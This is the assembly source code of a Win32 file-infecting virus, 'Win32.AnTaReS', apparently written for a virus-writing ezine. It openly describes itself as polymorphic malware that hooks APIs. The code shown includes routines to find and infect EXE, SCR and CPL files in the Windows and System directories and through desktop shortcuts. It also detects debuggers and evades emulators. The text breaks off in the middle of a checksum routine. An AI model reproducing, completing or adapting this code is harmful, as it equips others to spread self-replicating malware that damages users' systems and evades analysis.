Win32.AnTaReS
PiKaS
;####################################[Win32.AnTaReS by PiKaS]##### ;# ;# Author: PiKaS @0@0@ @ @ @0@0@ @0@0@ @0@0@ @0@0@ @0@0@ ;# 0 0 0@ 0 0 0 0 0 0 0 0 ;# lordjoker@hotmail.com @0@0@ @ 0 @ @ @0@0@ @0@0@ @0@0@ @0@0@ ;# 0 0 0 @0 0 0 0 0 @ 0 0 ;# Name: Win32.AnTaReS @ @ @ @ @ @ @ @ @ @0@0@ @0@0@ ;# ;################################################################# ;################################################################# ;# AnTaReS / Alpha Sco # ;# Distance: 604.01 ly ###+++++++++++++++ ;# Abs. Mag: -5.28 ##### ;# Luminosity: 11,100xSun #######+++++++++++++++++ ;# Class: M1 l-b ##### ;# Radius: 449.59xSun ###+++++++++++++++ ;# Surface temp: 3,720K # ;################################################################# ;################################################################# ;# ;# Characteristics: ;# ---------------- ;# - Target: Portable Exe (PE), SCR, CPL ;# - Get Apis using CRC32 with SEH protection ;# - EPO (Patch Masm/Tasm calls randomly) ;# - PolyMorphic Virus (using [ETMS] by b0z0/iKX) ;# - Find Targets through Link Files (Current dir and Desktop dir) ;# - Resident Per-Process (Hooks APIs like CreateFileA, etc... ;# and extract a new path for infections) ;# - Direct Action Virus (Windows, System and Actual Directories) ;# - Anti-Debugging (Jump if a Debug program is detected...SoftIce) ;# - CRC32 CheckSum File (Rebuild CRC32 of Infected Files) ;# - Detect SFC protected files and Installation Kits ;# - Use Size Padding to avoid reinfections ;# (also used with failed infections to scan faster) ;# ;# Payload: ;# -------- ;# - Graphic payload -> If 31th a BioHazard symbol appear on window ;# ;# Size: ---> 14156 Bytes (10.2Kb Min. Size - 13.8Kb Max. Size) <--- ;# ----- ;# [EPO]-->[DECRIPTOR][VIRUS_BODY/VIRUS_DATA] ;# ;# To Build this: ;# -------------- ;# - tasm32 -m7 -ml -q -zn AnTaReS.asm ;# - tlink32 -Tpe -c -aa -v AnTaReS ,,, import32 ;# - pewrsec AnTaReS.exe ;# ;# Author Notes: ;# ------------- ;# - This Virus is dedicated to all VXers and friends ;# - Thanks to Dream Theater and Bind Guardian Music ;# - To Asimov Books (about the Universe, etc...) ;) ;# - Sorry for my poor English :P ;# ;# Disclaimer: ;# ----------- ;# - This software is for research purposes only ;# - The author is not responsible for any problems ;# caused due to improper or illegal usage of it ;# ;################################################################# ;################################################################# ;# ;# Notes: ;# ------ ;# - Win32.AnTaReS was written to be published in 29A-ezine(9)... ;# The ezine was never released and 29A has recently gone ;# retired. VirusBuster, GriYo, Wintermute... I will miss you ;# Thanks for your work, you are my personal heroes ;# ;################################################################# .586p .model flat,stdcall ;################################################################# ;# Apis for Host code ;################################################################# extrn ExitProcess:proc extrn MessageBoxA:proc ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# General Definitions ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Definitions (Main) ;################################################################# @VirusSize equ offset @VirusEnd - offset @VirusBegin @VirusBodySize equ offset @VirusEnd - offset @VirusBodyBegin @DeltaCritical equ offset @Critical - offset @VirusBodyBegin ;################################################################# ;# Definitions (File Handle) ;################################################################# OPEN_EXISTING equ 3 ; Some useful definitions GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h PAGE_READWRITE equ 00000004h FILE_MAP_ALL_ACCESS equ 000F001Fh ;################################################################# ;# Definitions (Find Files) ;################################################################# MAX_PATH equ 260 ; The Max Long of Path FILETIME struc ; File Time Struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ends WIN32_FIND_DATA struc ; Find File Struct WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH DUP (?) WFD_szAlternateFileName db 13 DUP (?) db 3 DUP (?) WIN32_FIND_DATA ends ;################################################################# ;# Definitions (Find Link Files) ;################################################################# HKEY_CURRENT_USER equ 080000001h KEY_READ equ 000000019h ;################################################################# ;# Definitions (Payload) ;################################################################# SM_CXSCREEN equ 00000000h ; To get the resolution of screen SM_CYSCREEN equ 00000001h IDI_WARNING equ 00007F03h ; A warning Icon MB_ICONHAND equ 00000010h ; A warning Sound SYSTEMTIME struct ; Struct to check the actual date wYear dw ? wMonth dw ? wDayOfWeek dw ? wDay dw ? wHour dw ? wMinute dw ? wSecond dw ? wMilliseconds dw ? SYSTEMTIME ends ;################################################################# ;# Definitions (Virus Core) ;################################################################# FILE_ATTRIBUTE_NORMAL equ 00000080h GPTR equ 00000040h ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Host Data and Code Sections ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .data Antares db 'PiKaS LaBs 05',0 ; A Message Box text Text db 'PiKaS LaBs / Win32.AnTaReS',0 .code HostStart: xor eax,eax ; The Host code push eax push offset Antares push offset Text ; A simple Message Box push eax call @VirusBegin ; Call to MessageBoxA has been patched ;) xor eax,eax ; And finish! push eax call ExitProcess ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Code (win32.AnTaReS) ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Main Body ;# In: No Input ;# Out: No Output ;################################################################# @VirusBegin: pushad ; Save the Host registes pushfd @Decryptor: db 1000h dup (90h) ; Decryptor of virus body @VirusBodyBegin: call GetDelta ; Just take the delta offset ;################################################################# ;# Set SEH (Exception Handling) ;################################################################# SetSeh: push ebp call Set@1 ; Push in Stack the New Excp Handler mov esp,[esp+08h] ; If Excp -> Set Stack and go out jmp ResetSeh Set@1: xor ebx,ebx push dword ptr fs:[ebx] ; Push in Stack old Excp Handler (Chain) mov fs:[ebx],esp ; Set new Excp Handler call GetApiAddress ; Get all apis address from Kernel or eax,eax jz ResetSeh call GetSeed ; Init the random number generator call AntiDebug ; Check if a debugger is present or eax,eax ; Ups! skip and go out jz ResetSeh call FindBody ; Main search virus body call Payload ; Whahaha... a graphic payload ;################################################################# ;# Reset SEH (Exception Handling) ;################################################################# ResetSeh: xor ebx,ebx pop dword ptr fs:[ebx] ; Recover old Excp Handler pop ebx pop ebp call PatchVirusEntryPoint ; Go to Host taking care of relocations popfd ; Pop host registers popad push 20202020h ; And finish! :) @ReturnHost equ $-4 ret ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Get Kernel Apis ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Get Kernel Address ;# In: eax=AddrCreateProcess ;# Out: eax=AddrBaseKernel Error: eax=00h ;################################################################# GetKernelAddress proc push ebx ecx edx ; Save registers mov ecx,05h ; Only 5 times shr eax,10h ; Sth like AND EAX,0FFFF0000h GetKernel@1: shl eax,10h mov bx,[eax] ; Is the Kernel Base Image? cmp bx,'ZM' jnz GetKernel@2 mov edx,eax add edx,[eax+3Ch] mov bx,[edx] ; Is a Portable Exe? cmp bx,'EP' jz GetKernel@3 ; Great! GetKernel@2: shr eax,10h ; Ups! One more time dec eax loop GetKernel@1 xor eax,eax ; Ups! bad news.. :( GetKernel@3: pop edx ecx ebx ; Pop registers ret GetKernelAddress endp ;################################################################# ;# Get All Api Address ;# In: eax=AddrBaseKernel esi->ApisCrc32Struct ;# Out: (ApisAddrFull) Error: eax=00h ;################################################################# GetAllApiAddress proc push ebx ecx eax ; Save registers mov ebx,[eax+3Ch] ; Move to the Kernel Base add eax,ebx mov ebx,[eax+78h] ; And now the Export Section pop eax mov ecx,eax add eax,ebx mov ebx,[eax+18h] ; Get the total number of apis or ebx,ebx ; imported by name jz GetAll@6 mov [@NumberNames+ebp],ebx mov ebx,[eax+1Ch] add ebx,ecx mov [@AddressTable+ebp],ebx ; Get the Addr of Address Table mov ebx,[eax+24h] add ebx,ecx mov [@OrdinalTable+ebp],ebx ; Get the Addr of Ordinal Table mov ebx,[eax+20h] add ebx,ecx mov [@NameTable+ebp],ebx ; And get the Addr of Name Table push edx edi esi ; Save registers xor eax,eax mov edi,esi SetZero@1: cmp byte ptr[edi],0EEh ; Is the last in the table? jz SetZero@2 add edi,04h stosd ; Set zero all the Api Struct jmp SetZero@1 SetZero@2: xor edx,edx ; Set zero the counter mov esi,ebx ; Set esi -> Name Table GetAll@1: lodsd add eax,ecx mov edi,eax ; Now edi -> Api Name (in Name Table) call GetStringLong ; Get the String Long mov esi,edi ; Set esi -> Api Name String mov edi,eax ; Set edi = Api Name Long call GetStringCrc32 ; And the new Crc32 of the String pop esi push esi ; esi -> ApisCrc32Struc mov ebx,eax ; Save the Crc32 in ebx xor edi,edi ; Counter of Apis left GetAll@2: cmp byte ptr[esi],0EEh ; If we finish the ApisCrc32Struc jz GetAll@3 ; then go out the loop lodsd sub eax,ebx ; Check if we need the Api jz GetAll@4 lodsd ; If not go on (and Inc the Counter or eax,eax ; of Apis Letft) jnz GetAll@2 inc edi jmp GetAll@2 GetAll@4: ; Then get the Api Address push ebx ; Save registers mov eax,edx shl eax,01h add eax,[@OrdinalTable+ebp] ; Get the Ordinal of Api movzx ebx,word ptr[eax] shl ebx,02h add ebx,[@AddressTable+ebp] ; Get the RVA of Api mov eax,[ebx] add eax,ecx ; Add the Kernel Base push edi mov edi,esi stosd ; Storage the Address in the Struct pop edi ebx ; Pop registers lodsd jmp GetAll@2 GetAll@3: or edi,edi ; Check the Counter of Apis left jz GetAll@5 ; We need no more Apis... finish inc edx ; Inc the Name number mov esi,edx shl esi,02h add esi,[@NameTable+ebp] ; Set again esi and go back dec [@NumberNames+ebp] jnz GetAll@1 ; No more names? ups... pop esi edi edx GetAll@6: xor eax,eax pop ecx ebx ret GetAll@5: xor eax,eax ; No error... all under control inc eax pop esi edi edx ecx ebx ; Pop registers ret GetAllApiAddress endp ;################################################################# ;# Get Api Address ;# In: @ImageBase ;# Out: (eax not zero) Error: eax=00h ;################################################################# GetApiAddress proc mov ebx,[@ImageBase+ebp] mov esi,ebx add esi,[ebx+3Ch] ; Get the Portable Exe header add esi,80h lodsd or eax,eax ; Test if we have import header jz GetImport@1 add eax,ebx mov ecx,eax ; Well, take a look at the import module GetImport@2: mov esi,[ecx+0Ch] or esi,esi ; If the last go out jz GetImport@1 add esi,ebx lodsd or eax,20202020h ; Make the string low case cmp eax,'nrek' jnz GetImport@3 lodsd or eax,20202020h cmp eax,'23le' ; It's the kernel import module? jz GetImport@4 GetImport@3: add ecx,14h ; Nop, try another one jmp GetImport@2 GetImport@4: mov esi,[ecx+10h] ; Fine! get some apis address or esi,esi jz GetImport@1 add esi,ebx lea edi,[@ApisCrc32+ebp] GetImport@5: lodsd ; Load the first one or eax,eax jz GetImport@1 ; Is it the last? well... call GetKernelAddress ; Get the library base of imported api or eax,eax jz GetImport@5 ; Error?... try with other one mov [@KernelBase+ebp],eax xchg esi,edi call GetAllApiAddress ; Save the base and try to get all the apis or eax,eax ; Error?... try with other one jnz GetImport@6 ; Great! we got them... go out :D xchg esi,edi jmp GetImport@5 GetImport@1: xor eax,eax ; Ups, this is critical... bad luck ret GetImport@6: xor eax,eax inc eax ; well done... we have the correct address ret GetApiAddress endp ;################################################################# ;# Get String Long ;# In: edi->String ;# Out: eax=StringLong ;################################################################# GetStringLong proc push edi ; Save edi xor al,al scasb ; Scan String till null char jnz $-1 mov eax,edi pop edi sub eax,edi ; Get the String Long ret GetStringLong endp ;################################################################# ;# Get String Crc32 ;# In: esi->String edi=StringLong ;# Out: eax=Crc32String ;################################################################# GetStringCrc32 proc push ebx ecx edx ; Save registers cld xor ecx,ecx ; Set ecx=0FFFFFFFFh dec ecx mov edx,ecx GetCrc@1: ; Now the next Byte Crc32 xor eax,eax ; Set eax and ebx zero xor ebx,ebx lodsb ; Get one byte of String xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,08h GetCrc@2: ; Next Bit Crc32 shr bx,01h rcr ax,01h jnc GetCrc@3 xor ax,08320h xor bx,0EDB8h GetCrc@3: ; Finish... no Crc32 dec dh jnz GetCrc@2 xor ecx,eax xor edx,ebx dec edi ; One byte less jnz GetCrc@1 not edx not ecx mov eax,edx rol eax,10h ; We got in eax the Crc32 of Api Name mov ax,cx pop edx ecx ebx ; Pop registers ret GetStringCrc32 endp ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Find New Files ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Find Body ;# In: No Input ;# Out: No Output ;################################################################# FindBody proc call LoadSfcLibrary ; Check if Sfc is present and load it mov edi,05h ; Number of Infections call FindDirectAction ; Call to Direct Action part lea edi,[@Advapi32N+ebp] lea esi,[@Advapi32+ebp] call LoadNewLibrary ; Load a Library we need or eax,eax jz FindBody@1 ; If not posible... go out mov edi,05h ; Number of Infections call FindLinkFiles ; Call to Linked Files part lea edi,[@Advapi32N+ebp] call FreeNewLibrary ; Free Library after use FindBody@1: lea esi,[@ApisCrc32Hooks+ebp] lea edi,[@OffsetsHookStruct+ebp] call SetAllHooks ; Set the PerProcess part mov eax,[@SfcIsFileProtected+ebp] or eax,eax jz FindBody@2 lea edi,[@SfcN+ebp] ; Free the Sfc library call FreeNewLibrary FindBody@2: ret FindBody endp ;################################################################# ;# Find Direct Action ;# In: edi=Number of Files per Directory ;# Out: No output ;################################################################# FindDirectAction proc pushad ; Save all registers call FindDirectory ; Find and Infect files in actual dir lea esi,[@PathOne+ebp] push esi push MAX_PATH ; Get the current directory call [@GetCurrentDirectoryA+ebp] or eax,eax jz FindAction@1 push MAX_PATH lea esi,[@PathTwo+ebp] push esi ; Get the Windows directory call [@GetWindowsDirectoryA+ebp] or eax,eax jz FindAction@2 lea esi,[@PathTwo+ebp] push esi ; Jump to Windows directory call [@SetCurrentDirectoryA+ebp] or eax,eax jz FindAction@2 call FindDirectory ; Find and Infect files in Windows dir FindAction@2: push MAX_PATH lea esi,[@PathTwo+ebp] push esi ; Get the System directory call [@GetSystemDirectoryA+ebp] or eax,eax jz FindAction@3 lea esi,[@PathTwo+ebp] push esi ; Jump to System directory call [@SetCurrentDirectoryA+ebp] or eax,eax jz FindAction@3 call FindDirectory ; Find and Infect files in System dir FindAction@3: lea esi,[@PathOne+ebp] push esi ; Jump to the initial directory call [@SetCurrentDirectoryA+ebp] FindAction@1: popad ; Pop all registers ret FindDirectAction endp ;################################################################# ;# Find Directory ;# In: edi=Number of Files per Directory ;# Out: No output ;################################################################# FindDirectory proc push edi ; Save edi register lea esi,[@FindData+ebp] ; Load Find Data Struct push esi lea esi,[@FindMask+ebp] ; Looking for all type files (*.*) push esi call [@FindFirstFileA+ebp] ; Call to FindFirstFileA Api inc eax jz FindDir@1 ; If no files go out... :( dec eax mov [@FindHandle+ebp],eax ; Save the Find Handle FindDir@4: call CheckExtension ; Check if file is EXE DLL SCR or CPL or eax,eax jz FindDir@2 call IsFileOk ; Check if the file is infected etc... or eax,eax jz FindDir@2 call InfectFile ; Infect the file or eax,eax jz FindDir@2 dec edi ; One file less jz FindDir@3 FindDir@2: lea esi,[@FindData+ebp] ; Reload the Find Data Struct push esi mov eax,[@FindHandle+ebp] ; The Find Handle push eax call [@FindNextFileA+ebp] ; Find more files in directory or eax,eax jnz FindDir@4 FindDir@3: mov eax,[@FindHandle+ebp] ; No more files, close the Find Handle push eax call [@FindClose+ebp] FindDir@1: pop edi ; Pop edi again (is a counter) ret FindDirectory endp ;################################################################# ;# Check Extension ;# In: @FindData ;# Out: (eax not zero) Error: eax=00h ;################################################################# CheckExtension proc push edi ; Save edi register lea edi,[@FindData.WFD_szFileName+ebp] call GetStringLong ; Get the String Long cmp eax,05h ; If String too short skip and go jna CheckExt@1 mov esi,edi add esi,eax sub esi,05h ; Get the last 4 bytes of string lodsd mov ecx,04h CheckExt@3: ; Make it Upper Case cmp al,'a' jb CheckExt@2 cmp al,'z' ja CheckExt@2 add al,'A'-'a' CheckExt@2: ror eax,08h ; Next byte loop CheckExt@3 cmp eax,'EXE.' ; Is an EXE file? jz CheckExt@4 cmp eax,'LPC.' ; Is a CPL file? jz CheckExt@4 cmp eax,'RCS.' ; Is a SCR file? jz CheckExt@4 CheckExt@1: ; If not... just make eax zero xor eax,eax CheckExt@4: pop edi ; Fine! go back ret CheckExtension endp ;################################################################# ;# Find Link Files ;# In: edi=Number of Files per Directory ;# Out: No output ;################################################################# FindLinkFiles proc pushad call FindLink ; Find Link files in current dir lea esi,[@PathOne+ebp] push esi push MAX_PATH ; Get Current directory call [@GetCurrentDirectoryA+ebp] or eax,eax jz FindLink@1 lea esi,[@PathTwo+ebp] call GetDesktopDirectory ; Get Desktop directory or eax,eax ; Error... skip action jz FindLink@1 lea esi,[@PathTwo+ebp] push esi call [@SetCurrentDirectoryA+ebp] or eax,eax ; Jump to the Desktop dir jz FindLink@1 call FindLink ; Find Link files in Desktop dir lea esi,[@PathOne+ebp] push esi ; Go back to current dir call [@SetCurrentDirectoryA+ebp] FindLink@1: popad ret FindLinkFiles endp ;################################################################# ;# Get Desktop Directory ;# In: esi->Buffer for Desktop Directory ;# Out: Get the Desktop in Buffer Error: eax=00h ;################################################################# GetDesktopDirectory proc push edi xor eax,eax lea edi,[@RegHandle+ebp] ; Handle of Register we want check push edi push KEY_READ ; Only read a value push eax lea edi,[@SubKey+ebp] ; The Subkey we're looking for push edi push HKEY_CURRENT_USER ; Yes... in this register place call [@RegOpenKeyExA+ebp] ; Open the key or eax,eax jnz GetDesktop@1 lea edi,[@RegSize+ebp] ; Push the buffer size push edi push esi lea edi,[@RegType+ebp] ; The text is REG_SZ push edi push eax lea edi,[@RegName+ebp] ; We want the Desktop value push edi mov eax,[@RegHandle+ebp] ; This is the Handle before push eax call [@RegQueryValueExA+ebp] ; Query the register value or eax,eax jnz GetDesktop@2 mov edi,esi call GetStringLong ; Check if the path is valid dec eax jz GetDesktop@2 inc eax add esi,eax sub esi,02h lodsb cmp al,'\' ; If not valid put \ after asciiz jz GetDesktop@3 mov edi,esi mov ax,'\' stosd GetDesktop@3: mov eax,[@RegHandle+ebp] ; Close the opened register push eax call [@RegCloseKey+ebp] or eax,eax jnz GetDesktop@1 inc eax pop edi ; Output: eax not zero ret GetDesktop@2: mov eax,[@RegHandle+ebp] push eax call [@RegCloseKey+ebp] GetDesktop@1: xor eax,eax ; Output: eax zero (error) pop edi ret GetDesktopDirectory endp ;################################################################# ;# Find Link ;# In: edi=Number of Files per Directory ;# Out: No output ;################################################################# FindLink proc push edi ; Save edi register lea esi,[@FindData+ebp] ; Load Find Data Struct push esi lea esi,[@FindLink+ebp] ; Looking for link files (*.LNK) push esi call [@FindFirstFileA+ebp] ; Call to FindFirstFileA Api inc eax jz FindLinkFile@1 ; If no files go out... :( dec eax mov [@FindHandle+ebp],eax ; Save the Find Handle FindLinkFile@4: call ExtractLink ; Extract the Linked file target call CheckExtension ; Check if file is EXE DLL SCR or CPL or eax,eax ; If not go on with other files jz FindLinkFile@2 call IsFileOk ; Check if the file is infected etc... or eax,eax jz FindLinkFile@2 call InfectFile ; Infect the file or eax,eax jz FindLinkFile@2 dec edi ; One file less jz FindLinkFile@3 FindLinkFile@2: lea esi,[@FindData+ebp] ; Reload the Find Data Struct push esi mov eax,[@FindHandle+ebp] ; The Find Handle push eax call [@FindNextFileA+ebp] ; Find more files in directory or eax,eax jnz FindLinkFile@4 FindLinkFile@3: mov eax,[@FindHandle+ebp] ; No more files, close the Find Handle push eax call [@FindClose+ebp] FindLinkFile@1: pop edi ; Pop edi again (is a counter) ret FindLink endp ;################################################################# ;# Extract Link ;# In: edi=Number of Files per Directory ;# Out: No output ;################################################################# ExtractLink proc push edi ecx lea esi,[@FindData.WFD_szFileName+ebp] call CreateFile ; Open the Link file inc eax jz Extract@1 ; If error go out dec eax mov [@OpenHandle+ebp],eax ; Push some values and create a map mov edi,[@FindData.WFD_nFileSizeLow+ebp] mov esi,[@FindData.WFD_nFileSizeHigh+ebp] call FileMapping or eax,eax jz Extract@2 ; If error close file mov [@MapHandle+ebp],eax call MapViewOfFile ; Map it now! or eax,eax jz Extract@3 mov [@FileAddr+ebp],eax ; Save the file Addr mov ecx,[eax] cmp ecx,'L' ; Check for Link valid file jnz Extract@4 mov ecx,[eax+14h] ; Look if file has item ID list and ecx,03h ; and points to a file or dir cmp ecx,03h jnz Extract@4 ; If not skip and go out mov esi,eax xor eax,eax add esi,4Ch lodsw add esi,eax ; Jump over item ID list mov ecx,[esi+08h] and ecx,01h ; Check we have local volume jz Extract@4 mov eax,[esi+10h] ; Go to the local volume add esi,eax mov edi,esi call GetStringLong mov ecx,eax ; Set some registers and copy it lea edi,[@FindData.WFD_szFileName+ebp] cld rep movsb Extract@4: mov eax,[@FileAddr+ebp] ; Unmap the Link file call UnmapViewOfFile Extract@3: mov eax,[@MapHandle+ebp] call CloseHandle ; Close the mapped file Extract@2: mov eax,[@OpenHandle+ebp] call CloseHandle ; And close the open file Extract@1: pop ecx edi ret ExtractLink endp ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Useful Functions ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Get Seed ;# In: No Input ;# Out: No Output ;################################################################# GetSeed proc call [@GetTickCount+ebp] mov [@Random+ebp],eax ret GetSeed endp ;################################################################# ;# Get Random ;# In: No Input ;# Out: eax=RandomValue ;################################################################# GetRandom proc mov eax,[@Random+ebp] imul eax,eax,65h add eax,0167h mov [@Random+ebp],eax ret GetRandom endp ;################################################################# ;# Align ;# In: eax=ValueToAlign ecx=AlignFactor ;# Out: eax=AlignedValue ;################################################################# Align proc push edx xor edx,edx ; Make edx zero push eax div ecx ; Div eax with ecx align factor pop eax sub ecx,edx ; Add to eax the rest to have add eax,ecx ; an aligned value pop edx ret Align endp ;################################################################# ;# Trunc File ;# In: ebx=Size to Move ;# Out: (eax not zero) Error: eax=00h ;################################################################# TruncFile proc xor eax,eax push eax ; Pointer from start of file push eax push ebx ; Move this size push [@OpenHandle+ebp] ; File handle call [@SetFilePointer+ebp] ; Move the file pointer push [@OpenHandle+ebp] call [@SetEndOfFile+ebp] ; And make this point the EOF ret TruncFile endp ;################################################################# ;# Anti Debug ;# In: No Input ;# Out: eax=01h (no debug) eax=00h (debug) ;################################################################# AntiDebug proc push ebp AntiEmul@1: call AntiEmul@2 ; Push in Stack the New Excp Handler mov esp,[esp+08h] ; If Excp -> Set Stack and go out jmp AntiEmul@3 AntiEmul@2: xor eax,eax push dword ptr fs:[eax] ; Push in Stack old Excp Handler (Chain) mov fs:[eax],esp ; Set new Excp Handler div eax ; Cause an Exception to fuck some emul/debug jmp AntiEmul@1 AntiEmul@3: xor eax,eax pop dword ptr fs:[eax] ; Recover old Excp Handler pop eax pop ebp lea esi,[@SoftIceA+ebp] call CreateFile ; Try to check SoftIce debugger in win9X inc eax jz AntiDebug@2 dec eax call CloseHandle jmp AntiDebug@1 AntiDebug@2: lea esi,[@SoftIceB+ebp] call CreateFile ; Try to check SoftIce debugger in winNT inc eax jz AntiDebug@3 dec eax call CloseHandle AntiDebug@1: xor eax,eax ; Hummm... skip and go out ret AntiDebug@3: inc eax ; Fine... no debugger present, go on! ret AntiDebug endp ;################################################################# ;# Create File ;# In: esi->File Name ;# Out: eax=OpenHandle Error: eax=-1 ;################################################################# CreateFile proc xor eax,eax push eax ; Push normal values push eax push OPEN_EXISTING ; Open a file if existing push eax inc eax push eax push GENERIC_READ or GENERIC_WRITE push esi ; With permision for read / write call [@CreateFileA+ebp] ret CreateFile endp ;################################################################# ;# File Mapping ;# In: esi=FileSizeHigh edi=FileSizeLow eax=OpenHandle ;# Out: eax=MapHandle Error: eax=00h ;################################################################# FileMapping proc push ebx xor ebx,ebx push ebx push edi ; File Size Low push esi ; File Size High push PAGE_READWRITE ; Read / write permision in page push ebx push eax ; Open Handle call [@CreateFileMappingA+ebp] pop ebx ret FileMapping endp ;################################################################# ;# Map View Of File ;# In: esi=FileSizeHigh edi=FileSizeLow eax=MapHandle ;# Out: eax=FileAddr Error: eax=00h ;################################################################# MapViewOfFile proc push ebx xor ebx,ebx push edi ; File Size Low push ebx push ebx push FILE_MAP_ALL_ACCESS ; All type of access in map push eax ; Map Handle call [@MapViewOfFile+ebp] pop ebx ret MapViewOfFile endp ;################################################################# ;# Unmap View Of File ;# In: eax=FileAddr ;# Out: (eax not zero) Error: eax=00h ;################################################################# UnmapViewOfFile proc push eax ; Push File Addr call [@UnmapViewOfFile+ebp] ret UnmapViewOfFile endp ;################################################################# ;# Close Handle ;# In: eax=Handle ;# Out: (eax not zero) Error: eax=00h ;################################################################# CloseHandle proc push eax ; Push Open Handle call [@CloseHandle+ebp] ret CloseHandle endp ;################################################################# ;# Load Sfc Library ;# In: No Input ;# Out: No Output ;################################################################# LoadSfcLibrary proc lea edi,[@SfcN+ebp] ; Load SfcIsFileProtected api push edi ; Can be in sfc.dll or in sfc_os.dll call [@GetModuleHandleA+ebp] ; so take care using GetProcAddress or eax,eax jnz LoadSfc@1 push edi call [@LoadLibraryA+ebp] ; Load the library or eax,eax jz LoadSfc@2 LoadSfc@1: lea esi,[@SfcIsFileProtectedN+ebp] push esi push eax call [@GetProcAddress+ebp] ; And get the api address LoadSfc@2: ; If SfcIsFileProtected=NULL then no Sfc present mov [@SfcIsFileProtected+ebp],eax ret LoadSfcLibrary endp ;################################################################# ;# Load New Library ;# In: edi->LibraryName esi->ApisCrc32Struct ;# Out: (eax not zero) Error: eax=00h ;################################################################# LoadNewLibrary proc push edi call [@GetModuleHandleA+ebp] ; Is the Lib in Memory? or eax,eax jnz LoadNew@1 push edi ; Nop, try to load Lib call [@LoadLibraryA+ebp] or eax,eax ; Check if we have the Lib Base jz LoadNew@2 LoadNew@1: call GetAllApiAddress ; And get the Apis we need! LoadNew@2: ret LoadNewLibrary endp ;################################################################# ;# Free New Library ;# In: edi->LibraryName ;# Out: (eax not zero) Error: eax=00h ;################################################################# FreeNewLibrary proc push edi call [@GetModuleHandleA+ebp] ; Get the Lib Base in Memory or eax,eax jz FreeNew@1 ; If error, skip push eax call [@FreeLibrary+ebp] ; And Free our memory space FreeNew@1: ret FreeNewLibrary endp ;################################################################# ;# Asciiz 2 Unicode ;# In: esi->FileNameAsciiz edi->Buffer ;# Out: edi->FileNameUnicode ;################################################################# Asciiz2Unicode proc push esi edi ; We need an Unicode parameter xor eax,eax ; so make a sting change Asciiz@1: lodsb ; Pass from byte to word char stosw or eax,eax jnz Asciiz@1 pop edi esi ; Now we have finished ret Asciiz2Unicode endp ;################################################################# ;# Check Sum Mapped File ;# In: esi->@FileAddr ecx=@FileSize ;# Out: eax=CheckSumMappedFile Error: eax=00h ;################################################################# CheckSumMappedFile proc push esi ; Save some registers push ebx push ecx inc ecx shr ecx,01h ; Is a Revised version of CheckSumMappedFile API call PartialCheckSum ; Call to make the partial CheckSum add esi,[esi+3Ch] mov bx,ax ; We have to make some changes after and... xor edx,edx inc edx mov ecx,edx mov ax,[esi+58h] ; Get the actual file checksum cmp bx,ax adc ecx,-01h sub bx,cx sub bx,ax mov ax,[esi+5Ah] cmp bx,ax adc edx,-01h sub bx,dx sub bx,ax xor eax,eax mov ax,bx pop ecx add eax,ecx ; Here is the CRC File CheckSum in eax pop ebx ; Restore register and finish pop esi ret CheckSumMappedFile endp ;################################################################# ;# Partial Check Sum ;# In: esi->@FileAddr ecx=@FileSize ;# Out: eax=CheckSumMappedFile Error: eax=00h ;################################################################# PartialCheckSum proc push esi ; Save register xor eax,eax shl ecx,01h je PartialCheck@0 test esi,02h je PartialCheck@1 movzx edx,word ptr[esi] ; This is a version of the CheckSumMappedFile add eax,edx ; API... to make a CRC32 of Infected Files adc eax,00h add esi,02h sub ecx,02h PartialCheck@1: mov edx,ecx ; Only makes the partial Check Sum, used by and edx,07h ; other process that calculate the final sub ecx,edx ; Check Sum of Mapped File je PartialCheck@2 test ecx,08h je PartialCheck@3 add eax,[esi] adc eax,[esi+04h] adc eax,00h add esi,08h sub ecx,08h je PartialCheck@2 PartialCheck@3: ; Iteration 3 test ecx,10h je PartialCheck@4 add eax,[esi] adc eax,[esi+04h] adc eax,[esi+08h] adc eax,[esi+0Ch] adc eax,00h add esi,10h sub ecx,10h je PartialCheck@2 PartialCheck@4: ; Iteration 4 test ecx,20h je PartialCheck@5 add eax,[esi] adc eax,[esi+04h] adc eax,[esi+08h] adc eax,[esi+0Ch] adc eax,[esi+10h] adc eax,[esi+14h] adc eax,[esi+18h] adc eax,[esi+1Ch] adc eax,00h add esi,20h sub ecx,20h je PartialCheck@2 PartialCheck@5: ; Iteration 5 test ecx,40h je PartialCheck@6 add eax,[esi] adc eax,[esi+04h] adc 